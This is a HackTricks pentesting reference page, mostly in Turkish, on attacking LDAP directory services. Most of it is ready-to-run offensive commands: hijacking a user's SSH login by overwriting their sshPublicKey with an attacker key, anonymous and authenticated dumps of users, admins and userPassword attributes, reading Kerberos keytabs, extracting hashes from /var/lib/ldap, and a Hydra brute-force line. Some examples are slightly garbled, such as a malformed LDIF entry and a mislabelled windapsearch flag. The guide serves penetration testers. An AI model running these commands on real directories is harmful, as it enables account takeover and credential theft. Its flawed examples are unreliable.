389, 636, 3268, 3269 - Pentesting LDAP

Support HackTricks

LDAP (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar.

LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin çoğaltılmış ve senkronize bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSAlar ile iletişim kurabilir.

LDAP dizininin organizasyonu, en üstte kök dizin ile başlayan bir ağaç hiyerarşisini andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.

Varsayılan port: 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Veri Değişim Formatı

LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir.

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Satır 1-3, üst düzey alan adını local olarak tanımlar

  • Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar

  • Satır 10-16, 2 organizasyonel birimi tanımlar: dev ve sales

  • Satır 18-26, bir alan nesnesi oluşturur ve değerlerle birlikte nitelikler atar

Veri yazma

Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcınızın veya herhangi bir kullanıcının "sshPublicKey" bilgisini değiştirebileceğinizi hayal edin. Bu niteliğin mevcut olması durumunda, ssh'nin LDAP'dan genel anahtarları okuması oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak oturum açabileceksiniz.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniff clear text credentials

Eğer LDAP SSL olmadan kullanılıyorsa, ağda şifreleri düz metin olarak sniff edebilirsiniz.

Ayrıca, LDAP sunucusu ile istemci arasında bir MITM saldırısı gerçekleştirebilirsiniz. Burada istemcinin şifreleri düz metin olarak kullanarak giriş yapmasını sağlamak için bir Downgrade Attack yapabilirsiniz.

Eğer SSL kullanılıyorsa, yukarıda bahsedilen şekilde MITM yapmayı deneyebilirsiniz, ancak yanlış bir sertifika sunarak, eğer kullanıcı bunu kabul ederse, kimlik doğrulama yöntemini düşürüp şifreleri tekrar görebilirsiniz.

Anonymous Access

Bypass TLS SNI check

Bu yazıya göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi.

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonim bağlanmaları

LDAP anonim bağlanmaları, kimlik doğrulaması yapılmamış saldırganların alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, eski bir yapılandırmadır ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir. Ancak, yöneticiler anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir ve böylece kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim vermiş olabilirler.

Geçerli Kimlik Bilgileri

LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, aşağıdaki komutla Alan Yöneticisi hakkında tüm bilgileri dökebilirsiniz:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Enumeration

Automated

Bunu kullanarak kamusal bilgileri (alan adı gibi)** görebileceksiniz:**

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Python ile LDAP sayımını görün

Python kullanarak kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı deneyebilirsiniz: pip3 install ldap3

Öncelikle kimlik bilgileri olmadan bağlanmayı deneyin:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Eğer yanıt True ise, önceki örnekte olduğu gibi, LDAP sunucusundan bazı ilginç veriler (örneğin isim bağlamı veya alan adı) elde edebilirsiniz:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Bir kez isimlendirme bağlamına sahip olduğunuzda, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Veya dump tüm ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch , LDAP sorgularını kullanarak bir Windows alanından kullanıcıları, grupları ve bilgisayarları listelemek için yararlı bir Python betiğidir.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Null kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Eğer "bind must be completed" diyen bir şey bulursanız, bu kimlik bilgilerinin yanlış olduğu anlamına gelir.

Bir alan adından her şeyi çıkartabilirsiniz:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Kullanıcıları çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Çıkar bilgisayarlar:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

bilgilerimi çıkar

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Admins'ı Çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Kullanıcıları:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Enterprise Admins'ı çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Yöneticileri Çıkar:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Uzak Masaüstü Grubu:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Parolaya erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Lütfen, burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın...

pbis

pbis'i buradan indirebilirsiniz: https://github.com/BeyondTrust/pbis-open/ ve genellikle /opt/pbis dizinine kurulur. Pbis, temel bilgileri kolayca almanızı sağlar:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Grafik Arayüzü

Apache Directory

Apache Directory'yi buradan indirin. Bu aracın nasıl kullanılacağına dair bir örneği buradan bulabilirsiniz.

jxplorer

LDAP sunucusu ile grafik arayüzü buradan indirebilirsiniz: http://www.jxplorer.org/downloads/users.html

Varsayılan olarak şu dizine kurulur: /opt/jxplorer

Godap

Buna https://github.com/Macmod/godap adresinden erişebilirsiniz.

Kerberos ile Kimlik Doğrulama

ldapsearch kullanarak NTLM yerine kerberos ile kimlik doğrulama yapabilirsiniz; bunun için -Y GSSAPI parametresini kullanın.

POST

Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (bu /var/lib/ldap içinde olabilir). Hash'leri çıkarmak için:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

john'u şifre hash'i ile besleyebilirsiniz ('{SSHA}'dan 'structural'a 'structural' eklemeden).

Yapılandırma Dosyaları

  • Genel

  • containers.ldif

  • ldap.cfg

  • ldap.conf

  • ldap.xml

  • ldap-config.xml

  • ldap-realm.xml

  • slapd.conf

  • IBM SecureWay V3 sunucusu

  • V3.sas.oc

  • Microsoft Active Directory sunucusu

  • msadClassesAttrs.ldif

  • Netscape Directory Server 4

  • nsslapd.sas_at.conf

  • nsslapd.sas_oc.conf

  • OpenLDAP dizin sunucusu

  • slapd.sas_at.conf

  • slapd.sas_oc.conf

  • Sun ONE Directory Server 5.1

  • 75sas.ldif

HackTricks Otomatik Komutlar

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
HackTricks'i Destekleyin

Last updated